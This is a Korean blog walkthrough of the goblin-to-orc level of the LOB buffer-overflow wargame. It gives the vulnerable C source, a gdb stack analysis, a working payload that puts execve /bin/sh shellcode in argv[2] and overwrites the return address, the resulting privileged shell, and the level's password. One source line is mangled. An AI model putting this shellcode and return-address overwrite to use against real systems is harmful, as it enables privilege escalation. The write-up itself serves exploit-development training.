[4] goblin -> orc ( argv[2] 활용 )

2017. 11. 17. 13:18SystemHacking/LOB(BOF원정대)


goblin / hackers proof

[goblin@localhost goblin]$ /bin/bash2

[goblin@localhost goblin]$ export SHELL=/bin/bash2



[ orc.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter - 환경변수 부분 초기화 !!
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
 
cs


* 이전 문제에서 사용했던 환경변수 부분이 초기화 되고 있습니다

* 다른 곳에 쉘 코드를 올려서 RET주소를 해당 주소로 바꾸어야 합니다


[ Stack 구조 ]

i               4byte

buffer        40byte    

saved ebp   4byte   

saved eip    RET

argc

argv[0]        실행파일의 이름의 주소가 위치한다

argv[1]        실행파일의 첫 번째 인자의 주소가 위치한다

argv[2]        실행파일의 두 번째 인자의 주소가 위치한다    <-- 이곳에 쉘코드를 올려서 사용하겠다


< 풀이 과정 >

[1] gdb 분석

[goblin@localhost goblin]$ cp orc orc.cp

[goblin@localhost goblin]$ gdb -q orc.cp

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:       push   %ebp

0x8048501 <main+1>:     mov    %ebp,%esp

0x8048503 <main+3>:     sub    %esp,44

....

0x80485d6 <main+214>:   leave

0x80485d7 <main+215>:   ret

0x80485d8 <main+216>:   nop

End of assembler dump.

(gdb) b *0x80485d6

Breakpoint 1 at 0x80485d6

(gdb) run $(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xff\xff\xff\xbf"') $(python -c 'print "\x90" * 1000 + "A"*24')
Starting program: /home/goblin/orc.cp $(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x30\xf7\xff\xbf"') $(python -c 'print "\x90" * 1000 + "A"*24')
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ
                                       ̀▒▒▒▒

Breakpoint 1, 0x80485d6 in main ()
(gdb) x/24x $ebp-40
0xbffff6c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff6d0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbffff6e0:     0x50e3896e      0x99e18953      0x80cd0bb0      0xbffff730 <-- saved eip
0xbffff6f0:     0x00000000      0xbffff734      0xbffff744      0x40013868
0xbffff700:     0x00000003      0x08048450      0x00000000      0x08048471
0xbffff710:     0x08048500      0x00000003      0xbffff734      0x08048390
(gdb)
0xbffff720:     0x0804860c      0x4000ae60      0xbffff72c      0x40013e90
 [ argc ]        [ argv[0] ]     [ argv[1] ]     [ argv[2] ]
0xbffff730:     0x00000003      0xbffff831      0xbffff845      0xbffff876 <-- 두번 째 인자가 위치하고 있는 주소값

0xbffff740:     0x00000000      0xbffffc77      0xbffffc88      0xbffffca1

(gdb) x/s 0xbffff831                    실행파일의 이름 argv[0]
0xbffff831:      "/home/goblin/orc.cp"

(gdb) x/s 0xbffff845                    실행파일의 첫 번째 인자 argv[1]

0xbffff845:      '\220' <repeats 20 times>, "1▒Ph//shh/bin\211▒PS\211▒\231▒\013▒\200▒▒▒▒"

(gdb) x/s 0xbffff876                    실행파일의 두 번째 인자 argv[2]
0xbffff876:      '\220' <repeats 200 times>...
(gdb)


* saved eip( RET )를 두 번째 인자의 주소값을 가지고 있는 argv[2]의 주소로 변조시키면 된다 

argv[2]에 있는 값은 두 번째 인자(쉘코드)가 위치한 주소를 가리키고 있고 해당 주소로 이동하여 NOP코드를 타고 흘러 쉘 코드가 실행될 것이다



[ payload 작성 ]

./orc $(python -c 'print "A" * 44 + "\x3c\xf7\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

=> 보정작업

[goblin@localhost goblin]$ ./orc $(python -c 'print "A" * 44 + "\x3c\xf9\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<▒▒▒

bash$ id

uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

bash$ my-pass

euid = 504

cantata